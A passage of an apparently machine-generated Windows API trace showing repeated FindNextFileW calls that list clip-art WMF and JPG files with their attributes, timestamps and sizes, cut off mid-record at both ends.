cFileName="J0216570.WMF", cAlternateFileName="")) returned 1 [0274.408] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1 [0274.408] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1 [0274.408] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1 [0274.408] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1 [0274.408] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1 [0274.409] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1 [0274.409] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1 [0274.409] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1 [0274.409] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d018, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf42d018, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1 [0274.409] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1 [0274.409] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1 [0274.409] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1 [0274.409] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1 [0274.409] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1 [0274.410] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1 [0274.410] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1 [0274.410] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1 [0274.410] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1 [0274.410] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1 [0274.410] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1 [0274.410] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1 [0274.410] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1 [0274.410] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1 [0274.411] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1 [0274.411] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1 [0274.411] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1 [0274.411] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1 [0274.411] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1 [0274.411] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1 [0274.411] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1 [0274.411] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1 [0274.411] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1 [0274.412] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1 [0274.412] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1 [0274.412] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1 [0274.412] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1 [0274.412] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1 [0274.412] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1 [0274.412] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1 [0274.412] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed05f07, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xed05f07, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xed05f07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x0, 